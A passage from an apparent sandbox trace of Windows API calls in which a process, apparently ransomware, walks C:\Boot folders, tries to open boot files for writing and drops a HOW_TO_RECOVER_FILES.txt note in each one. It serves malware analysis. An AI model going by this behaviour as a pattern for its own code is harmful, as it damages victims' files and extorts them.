returned 1 [0070.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.217] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-MX\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.217] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x30f97c8 | out: lpFileInformation=0x30f97c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1 [0070.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.218] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-MX\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.218] CreateFileW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.220] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-MX\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-MX\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.220] CreateFileW (lpFileName="C:\\Boot\\es-MX\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\es-mx\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0070.221] GetFileType (hFile=0x764) returned 0x1 [0070.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.221] GetFileType (hFile=0x764) returned 0x1 [0070.222] WriteFile (in: hFile=0x764, lpBuffer=0x30fc1c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x30fc1c8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.223] CloseHandle (hObject=0x764) returned 1 [0070.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.223] GetFullPathNameW (in: lpFileName="C:\\Boot\\et-EE", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\et-EE", lpFilePart=0x0) returned 0xd [0070.223] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.223] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.223] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.224] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.224] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.224] GetFullPathNameW (in: lpFileName="C:\\Boot\\et-EE", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\et-EE", lpFilePart=0x0) returned 0xd [0070.224] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.224] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.224] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.224] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0070.225] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.225] GetFullPathNameW (in: lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\et-EE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.225] GetFileAttributesExW (in: lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x310ab38 | out: lpFileInformation=0x310ab38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560)) returned 1 [0070.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.226] GetFullPathNameW (in: lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\et-EE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.226] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.228] GetFullPathNameW (in: lpFileName="C:\\Boot\\et-EE\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\et-EE\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.229] CreateFileW (lpFileName="C:\\Boot\\et-EE\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\et-ee\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0070.229] GetFileType (hFile=0x764) returned 0x1 [0070.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.229] GetFileType (hFile=0x764) returned 0x1 [0070.230] WriteFile (in: hFile=0x764, lpBuffer=0x310d538*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x310d538*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.230] CloseHandle (hObject=0x764) returned 1 [0070.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.231] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0070.231] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.231] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.231] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.231] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.231] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.232] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.232] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0070.232] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.232] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.232] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.232] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.233] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0070.233] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.233] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.233] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x311c190 | out: lpFileInformation=0x311c190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1 [0070.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.233] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.233] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.235] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.235] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x311c840 | out: lpFileInformation=0x311c840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1 [0070.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.236] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.236] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.238] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.238] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x764 [0070.240] GetFileType (hFile=0x764) returned 0x1 [0070.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.240] GetFileType (hFile=0x764) returned 0x1 [0070.240] WriteFile (in: hFile=0x764, lpBuffer=0x311f240*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x311f240*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.241] CloseHandle (hObject=0x764) returned 1 [0070.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.242] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0070.242] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.244] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.244] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0070.244] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0070.244] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0070.244] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 